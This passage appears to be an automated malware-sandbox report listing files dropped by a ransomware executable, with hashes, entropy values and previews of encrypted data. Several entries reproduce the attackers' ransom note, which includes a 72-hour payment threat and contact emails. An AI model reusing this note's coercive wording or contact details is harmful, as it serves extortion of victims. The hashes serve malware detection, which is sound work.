                                                                                                                                                                SHA-512:7A4D3EA5E29099C0395C3B45F9814E844DA7AEB6C9F3CF69DDC15D7D394CE9049974B636F2B003E32F48126429E555D33819D64EB31001134D6164A7700CB561
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:>.#..m.1.......<D.%.Bh.......j.yp.+ah7.DC...z.%no`t.b.6B....3.u....JO.)..w.%-s._.Q.....*.v.._.a.....}s.....p..m..RI...2.>j.?#.KO. ..JzD..a......G.3..`. .9...b.;1G...........)2....I,............GmIN...b?c(.V.W.P.G.2o9...7..<.+....".Q..wOn%..-E9Bq......+cu}..................S.j.#....kNFcSu....3.x.....7}^.:..1~%N\k.....j....j.,@A.0(..d+.2...o0..@...I`.t....E.P.5G.....f.XQa...9.YU......1%.,.b...@})4......\.!..k.,^.....,.............h..+...a>.:.=..;...4..4:...^..........u...k+a"l.m7.b.l..}q.^m....o..i..<]."I..?.w..b(sH.Y8...9....%h....^.|[.S..c..17..U.....[F..t....B....z..q..3.d.S..F.O.....fr!.....y.\.d...a.r..#...Z--.....h.....r.....T..(a.F'.Lx....U.}.5s.......58Ts...x.x....eL...{...[......"@;w7F....R.Z..-..&1z.........p...z..LG.A..Vakfv'.(.....V.7..[^...;.c....3\....j.Q..FlZ.)..L...,$.M..Y..*..JH=.*......e.EK@|.J..n......%..) ..yB...m.yL.=.q....&..&...|.~..{.......y.J.+1-..{@.BD....b.........Aw.5......t.j..b....#..a{1"D*.l,.V..s.kh.S
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4635
                                                                                                                                                                Entropy (8bit):7.942814515338859
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:GTtLaXkVCuOflQefnd0zreisKmsR0d+XMOBcPraBWcpNGi5Jdu:G4UZOfl5SOipmdd+MP2BWcmuJdu
                                                                                                                                                                MD5:E6EB0BF66763662DB7D89D7238F50244
                                                                                                                                                                SHA1:6CCA9A7EAA350CA203ABD654C2BFE1A672A0DE32
                                                                                                                                                                SHA-256:75847FC6CB69555A96D44D9B4964CFA01DC01B3DD556E400C1CD4DC046B48B78
                                                                                                                                                                SHA-512:7A4D3EA5E29099C0395C3B45F9814E844DA7AEB6C9F3CF69DDC15D7D394CE9049974B636F2B003E32F48126429E555D33819D64EB31001134D6164A7700CB561
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:>.#..m.1.......<D.%.Bh.......j.yp.+ah7.DC...z.%no`t.b.6B....3.u....JO.)..w.%-s._.Q.....*.v.._.a.....}s.....p..m..RI...2.>j.?#.KO. ..JzD..a......G.3..`. .9...b.;1G...........)2....I,............GmIN...b?c(.V.W.P.G.2o9...7..<.+....".Q..wOn%..-E9Bq......+cu}..................S.j.#....kNFcSu....3.x.....7}^.:..1~%N\k.....j....j.,@A.0(..d+.2...o0..@...I`.t....E.P.5G.....f.XQa...9.YU......1%.,.b...@})4......\.!..k.,^.....,.............h..+...a>.:.=..;...4..4:...^..........u...k+a"l.m7.b.l..}q.^m....o..i..<]."I..?.w..b(sH.Y8...9....%h....^.|[.S..c..17..U.....[F..t....B....z..q..3.d.S..F.O.....fr!.....y.\.d...a.r..#...Z--.....h.....r.....T..(a.F'.Lx....U.}.5s.......58Ts...x.x....eL...{...[......"@;w7F....R.Z..-..&1z.........p...z..LG.A..Vakfv'.(.....V.7..[^...;.c....3\....j.Q..FlZ.)..L...,$.M..Y..*..JH=.*......e.EK@|.J..n......%..) ..yB...m.yL.=.q....&..&...|.~..{.......y.J.+1-..{@.BD....b.........Aw.5......t.j..b....#..a{1"D*.l,.V..s.kh.S
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):710
                                                                                                                                                                Entropy (8bit):7.675346137584868
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:+skcNfWI0ldEEu7dJyOuzBXDcwn/rP3Bls5Rh3suMd0OjlS5Eat8M/9m1GmKun:1QRXEBfuzB/rfg5fxMdLSaatX/9oh
                                                                                                                                                                MD5:DBD448EAF7B4A99A57EDC07645816F4D
                                                                                                                                                                SHA1:404D5B6D5AE8A9F7F04AA2277FDAB019E5987375
                                                                                                                                                                SHA-256:BB9CE9702D5CB72C9A1DF644173358C8F700B02BAA22E074B3840D421B7A6BC0
                                                                                                                                                                SHA-512:779621B7ECA41D9DB1217A42B60BEA46CB8BE76A5D1ADA12339BAAF1F50C2DD9E1761B3A8D34B0A1CB0A47D3ABD068FF70B357FDAC418A82EA71BB0E63C696B6
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:]....|...4.......[.o..D.^...5C..:..i..S....Rxn%......rd.&......@.|...?..............h...d.~u..........`.$S.....7J....P...M.v^......Jq....<%.M.f.d)........v...T..\.Y.D...r.....H?..XL....pA.r.3.O....7'.)..`..g.]...m..-U.U..h..g......4@......p.:..T.........."...M......^..O.y...Z............^.o| ...U..C..c}[...$..A..T.....],X0r.......Z....(ng).uq.....*..1....%.'..{..dg?'.|+.x.[......8ai!u...\+...'..]..L1....019c43f6ba"}.o..E.*............&.j.$....h.z....}..........d]j..C.90.8..\..R..wl....1.N........C.^ib...&H.P..j+..B....?..x....M5.k.)..y...g.....`~-P...:..........3H6fn;{..\.......e.".....^..........3bC...:..9N...=".r...z..z..../...;J^.#Rn@..(..RN..j.\...0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):710
                                                                                                                                                                Entropy (8bit):7.675346137584868
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:+skcNfWI0ldEEu7dJyOuzBXDcwn/rP3Bls5Rh3suMd0OjlS5Eat8M/9m1GmKun:1QRXEBfuzB/rfg5fxMdLSaatX/9oh
                                                                                                                                                                MD5:DBD448EAF7B4A99A57EDC07645816F4D
                                                                                                                                                                SHA1:404D5B6D5AE8A9F7F04AA2277FDAB019E5987375
                                                                                                                                                                SHA-256:BB9CE9702D5CB72C9A1DF644173358C8F700B02BAA22E074B3840D421B7A6BC0
                                                                                                                                                                SHA-512:779621B7ECA41D9DB1217A42B60BEA46CB8BE76A5D1ADA12339BAAF1F50C2DD9E1761B3A8D34B0A1CB0A47D3ABD068FF70B357FDAC418A82EA71BB0E63C696B6
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:]....|...4.......[.o..D.^...5C..:..i..S....Rxn%......rd.&......@.|...?..............h...d.~u..........`.$S.....7J....P...M.v^......Jq....<%.M.f.d)........v...T..\.Y.D...r.....H?..XL....pA.r.3.O....7'.)..`..g.]...m..-U.U..h..g......4@......p.:..T.........."...M......^..O.y...Z............^.o| ...U..C..c}[...$..A..T.....],X0r.......Z....(ng).uq.....*..1....%.'..{..dg?'.|+.x.[......8ai!u...\+...'..]..L1....019c43f6ba"}.o..E.*............&.j.$....h.z....}..........d]j..C.90.8..\..R..wl....1.N........C.^ib...&H.P..j+..B....?..x....M5.k.)..y...g.....`~-P...:..........3H6fn;{..\.......e.".....^..........3bC...:..9N...=".r...z..z..../...;J^.#Rn@..(..RN..j.\...0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):15965
                                                                                                                                                                Entropy (8bit):7.3664412298685065
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:DWD9xgRTOiL8JoWN7S5fp3geqQdbxy/HucU+fO2ES+:npxAJoL2eqQdbxy/I+22E1
                                                                                                                                                                MD5:F59E18FF4886255B51EAFCBDC22DF4D0
                                                                                                                                                                SHA1:FC3059880B7A448F2C8AC96BD0F7590E9B90FBB8
                                                                                                                                                                SHA-256:2A8DFCE73DAE6F39263498960638FDE7B3158A6B6B4D735FAA2F1A29678C952C
                                                                                                                                                                SHA-512:92FAA36676C662A0F4C103ED2895B23FF7E053DD46823FA6F2F67891354475AD4EF28376391A6F1FCD0810C1E8DD015B9D6232E10E3A29EB6B715181782A3649
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.(..*....e..&h..R*~.N....... ._S..7:.'...8<....c..n..b#...ckbF...4._e..G...9]..9..u...h72...Z...p.9$yx..vR...u.}(X..-...\..M..M..i.7.n...........t.5t..Q.3{p.=g......D.W.....>7...b.u:A.p.z....=......?}..e...2...x.7F..;6../.IPp......M..........f*../..c.!jP"u..U ..DS.0......u..EU..j.O&.I.U.)..1.m...PJ.6].'.w....'...-.....c..v....m.\?...1.eh..&.%..,.......D....3...h4vNSR"..".X.IH...i..A-S..N.M.Fi.Lb.c.....4.RT.izK.....a.c...5...a+@.b.........$...T}.T.h....JM.g...u..fA..Z.....w...Q......r.#.OOY.O..%.c.'S4..&7...).vML.b..X...5..4...)z#...1..g.9X.,..s..Z.I7.R....=..f...(..f.%.5..AcY..I".m....]}.=.3..G....7U..Y7*... ..A8l..Q..aX#^,.lr.F.7....kJ....&.u...m..OI.gd`.8e.<5q.6..7..m..p...+<..P..Q.....#..y..]..$.{...Zvl.e....c.}.e.U."~s.....@Y.\..&.u...V`rA.L.'I.]Ji...^Z..w..?g....z..T.).IZ..x...>[..q.1..Y{0....Ncx.^Y.R*.4..G.;..c....9.n.K..x...Hq.;.wp6j.b..*..d..1....'...0...1n9...z...^.....R..}....#.r..s..&\....$.l...9...)Q#(I*.z.T...*..'.[H.S..R0
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):15965
                                                                                                                                                                Entropy (8bit):7.3664412298685065
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:DWD9xgRTOiL8JoWN7S5fp3geqQdbxy/HucU+fO2ES+:npxAJoL2eqQdbxy/I+22E1
                                                                                                                                                                MD5:F59E18FF4886255B51EAFCBDC22DF4D0
                                                                                                                                                                SHA1:FC3059880B7A448F2C8AC96BD0F7590E9B90FBB8
                                                                                                                                                                SHA-256:2A8DFCE73DAE6F39263498960638FDE7B3158A6B6B4D735FAA2F1A29678C952C
                                                                                                                                                                SHA-512:92FAA36676C662A0F4C103ED2895B23FF7E053DD46823FA6F2F67891354475AD4EF28376391A6F1FCD0810C1E8DD015B9D6232E10E3A29EB6B715181782A3649
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.(..*....e..&h..R*~.N....... ._S..7:.'...8<....c..n..b#...ckbF...4._e..G...9]..9..u...h72...Z...p.9$yx..vR...u.}(X..-...\..M..M..i.7.n...........t.5t..Q.3{p.=g......D.W.....>7...b.u:A.p.z....=......?}..e...2...x.7F..;6../.IPp......M..........f*../..c.!jP"u..U ..DS.0......u..EU..j.O&.I.U.)..1.m...PJ.6].'.w....'...-.....c..v....m.\?...1.eh..&.%..,.......D....3...h4vNSR"..".X.IH...i..A-S..N.M.Fi.Lb.c.....4.RT.izK.....a.c...5...a+@.b.........$...T}.T.h....JM.g...u..fA..Z.....w...Q......r.#.OOY.O..%.c.'S4..&7...).vML.b..X...5..4...)z#...1..g.9X.,..s..Z.I7.R....=..f...(..f.%.5..AcY..I".m....]}.=.3..G....7U..Y7*... ..A8l..Q..aX#^,.lr.F.7....kJ....&.u...m..OI.gd`.8e.<5q.6..7..m..p...+<..P..Q.....#..y..]..$.{...Zvl.e....c.}.e.U."~s.....@Y.\..&.u...V`rA.L.'I.]Ji...^Z..w..?g....z..T.).IZ..x...>[..q.1..Y{0....Ncx.^Y.R*.4..G.;..c....9.n.K..x...Hq.;.wp6j.b..*..d..1....'...0...1n9...z...^.....R..}....#.r..s..&\....$.l...9...)Q#(I*.z.T...*..'.[H.S..R0
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):13184
                                                                                                                                                                Entropy (8bit):5.950282065891041
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:192:45t2ZJxOphgqZTGmHh3PIP8iml2yBnnc2xgADB9IaSVbUbdb0CqolxHq:45t2ZfOpuqSGEyT7VDB9Ia0bUbdba
                                                                                                                                                                MD5:A9BAB7F38AF926CFCC45B8118A640B9E
                                                                                                                                                                SHA1:1DDC99DC47A097DAE24018ADDEBB9558F28BADBD
                                                                                                                                                                SHA-256:BEF8789CCEC5152282ADDF9CA000BB98E8040E3116B1065F5BD3477883AC4826
                                                                                                                                                                SHA-512:2D8F43E6861E04FCF05EE7BE3CC4A47240F49CFAEE46865479AB29128BF7D9759FB5F97C3655D2018B4A1883D180E4B9661E2CCA243A1B3088AD34D2D200BC1E
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...4/.y.F...z..c.....t...%...=<.......[...J.N...,.Ui.#4n...gu...Ww.....Q&^..o...X..v.p.p..E...g...L....3.A...A..7..N...e..FSU;.>.5.E$.A..%f.S......~..t.-...x..~d,.v.aT"I.qG*6.V.;0....9.nVj.c./V..u...X...#);..a....t.....c..Z.3Q.Q{s...0....y;!..k.V.*.....|...52.A.%.P.L.......-.;..-{...c......f.O.M. .,Pq..#._..J\..f..`&me.|xm.H%.jt...5.z.G@.@..*.X..W.dM7/..x.s"....A..z..(..-'....8..,.H..d=B.WB......sDx!.....N;..[..e....hi.....LNy5?..5*.%5.Az....s..).R...<zQ.).p.0E..A.xF../C...{.i#.........o[l....m.].&.:..............].....V.EJ[PQ.`.&._.+...l..........pB...).j......<....:..1Gf%......iP.....%. &.Z\.?.b..JV~.[.../.#.v.cA.K20{....Z....{+.'!.T.j..~8.1.p.....:e.....e.+0.....i......,..Y......~$..I.......cE{~6R(..Kf..-.....u!<.G..z..(.|.H&..8.."O..Z.&i..{}...(.\.....l{,.Q...gj.89x.3J..............%...)....)Xa.8'a....J:..j..3...._.aR..H.....PI..pz...:.l..'.'r.R..7...t..W{[H..8......1.BI..... ...u{Sv..=#....z..R....@......B...7'1..IC.o?.@.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):13184
                                                                                                                                                                Entropy (8bit):5.950282065891041
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:192:45t2ZJxOphgqZTGmHh3PIP8iml2yBnnc2xgADB9IaSVbUbdb0CqolxHq:45t2ZfOpuqSGEyT7VDB9Ia0bUbdba
                                                                                                                                                                MD5:A9BAB7F38AF926CFCC45B8118A640B9E
                                                                                                                                                                SHA1:1DDC99DC47A097DAE24018ADDEBB9558F28BADBD
                                                                                                                                                                SHA-256:BEF8789CCEC5152282ADDF9CA000BB98E8040E3116B1065F5BD3477883AC4826
                                                                                                                                                                SHA-512:2D8F43E6861E04FCF05EE7BE3CC4A47240F49CFAEE46865479AB29128BF7D9759FB5F97C3655D2018B4A1883D180E4B9661E2CCA243A1B3088AD34D2D200BC1E
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...4/.y.F...z..c.....t...%...=<.......[...J.N...,.Ui.#4n...gu...Ww.....Q&^..o...X..v.p.p..E...g...L....3.A...A..7..N...e..FSU;.>.5.E$.A..%f.S......~..t.-...x..~d,.v.aT"I.qG*6.V.;0....9.nVj.c./V..u...X...#);..a....t.....c..Z.3Q.Q{s...0....y;!..k.V.*.....|...52.A.%.P.L.......-.;..-{...c......f.O.M. .,Pq..#._..J\..f..`&me.|xm.H%.jt...5.z.G@.@..*.X..W.dM7/..x.s"....A..z..(..-'....8..,.H..d=B.WB......sDx!.....N;..[..e....hi.....LNy5?..5*.%5.Az....s..).R...<zQ.).p.0E..A.xF../C...{.i#.........o[l....m.].&.:..............].....V.EJ[PQ.`.&._.+...l..........pB...).j......<....:..1Gf%......iP.....%. &.Z\.?.b..JV~.[.../.#.v.cA.K20{....Z....{+.'!.T.j..~8.1.p.....:e.....e.+0.....i......,..Y......~$..I.......cE{~6R(..Kf..-.....u!<.G..z..(.|.H&..8.."O..Z.&i..{}...(.\.....l{,.Q...gj.89x.3J..............%...)....)Xa.8'a....J:..j..3...._.aR..H.....PI..pz...:.l..'.'r.R..7...t..W{[H..8......1.BI..... ...u{Sv..=#....z..R....@......B...7'1..IC.o?.@.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1625
                                                                                                                                                                Entropy (8bit):7.885424483944203
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:rdSUTJYqr6B4kTz22qOIxh8xCw+nO5Qh0DT:rdNY/B4kP2fNiT5d
                                                                                                                                                                MD5:637F2E289143FD65DC66771D0EE4F080
                                                                                                                                                                SHA1:80033EAE28CFCCF928E588AA25F898B573197EB1
                                                                                                                                                                SHA-256:99C7813F81C0C9D60D2527F11C1CD402509A00ACA116674B1F3B36CC2097D3CB
                                                                                                                                                                SHA-512:ED3612D2A60D1AA2D8BA3113E0088E87F6B87DCE8B97B7273FC4815C101B49CD83DC487C4D452B1A7022EB99E6DDA62822D27B52C90BEBBC226331ADEE1DAB9A
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..E....Pj.d.....b..y..$A?4R{.v.L+v.J......y..E.^!D...?..E..X.N...n.^.F.nQ.........[m..\...........0.E.C..<+:.[B.4..s.6i...LB..-.p.D..R...>8:tj.T.0E...@..{...)....s.?[.l..*....vs.6~7..^Y RS..*.K...j..... I.o.Y$.P...g..!2#.'...l'.;......t.R...S....-.'+...Mi...g..y......<wS_a.V_...Bn.a.....H.s.hu<"e.h$J..v.........$..{|.u...)&$.c.$/..'9...g=JRf.._....{s.].|..+..U\6I{C;...!j. ./ggO+.p1[.1..Wy.>S'..........N....u.j..@._..F.$......Sf..m......V..Y..J?EA3W.....P$.nHwW#%.(/.......hu...c..........2..x.*....kI....S..H.....c...kD$.p...B=})&z.#.L.......%..P'.ms..6....H5..3o.....,..We...#.........'.....I....]L...$1)...79...&.u_..k.#....e....9..h.l....../.7.-Ct..(.}?.:...n..(.{y.K=j..|j.x.......1w.3.j.../.o~....d......>WHw<L.AAXR..k.{.~..qs.h.[H-.$........e7..._...V...u.....P..EOu...o..%....zF.Tx.....U.ZzN=..N."..p.....:...e&=..k$../...>,k*.aI@F.}...u^..DP.jJ..B!p............t..=.3I<R'..t6..-.cKC..$Jqn....<..;.-......zY..b..+.be.t.\.....Q.......)D.a.jG.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1625
                                                                                                                                                                Entropy (8bit):7.885424483944203
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:rdSUTJYqr6B4kTz22qOIxh8xCw+nO5Qh0DT:rdNY/B4kP2fNiT5d
                                                                                                                                                                MD5:637F2E289143FD65DC66771D0EE4F080
                                                                                                                                                                SHA1:80033EAE28CFCCF928E588AA25F898B573197EB1
                                                                                                                                                                SHA-256:99C7813F81C0C9D60D2527F11C1CD402509A00ACA116674B1F3B36CC2097D3CB
                                                                                                                                                                SHA-512:ED3612D2A60D1AA2D8BA3113E0088E87F6B87DCE8B97B7273FC4815C101B49CD83DC487C4D452B1A7022EB99E6DDA62822D27B52C90BEBBC226331ADEE1DAB9A
                                                                                                                                                                Malicious:false
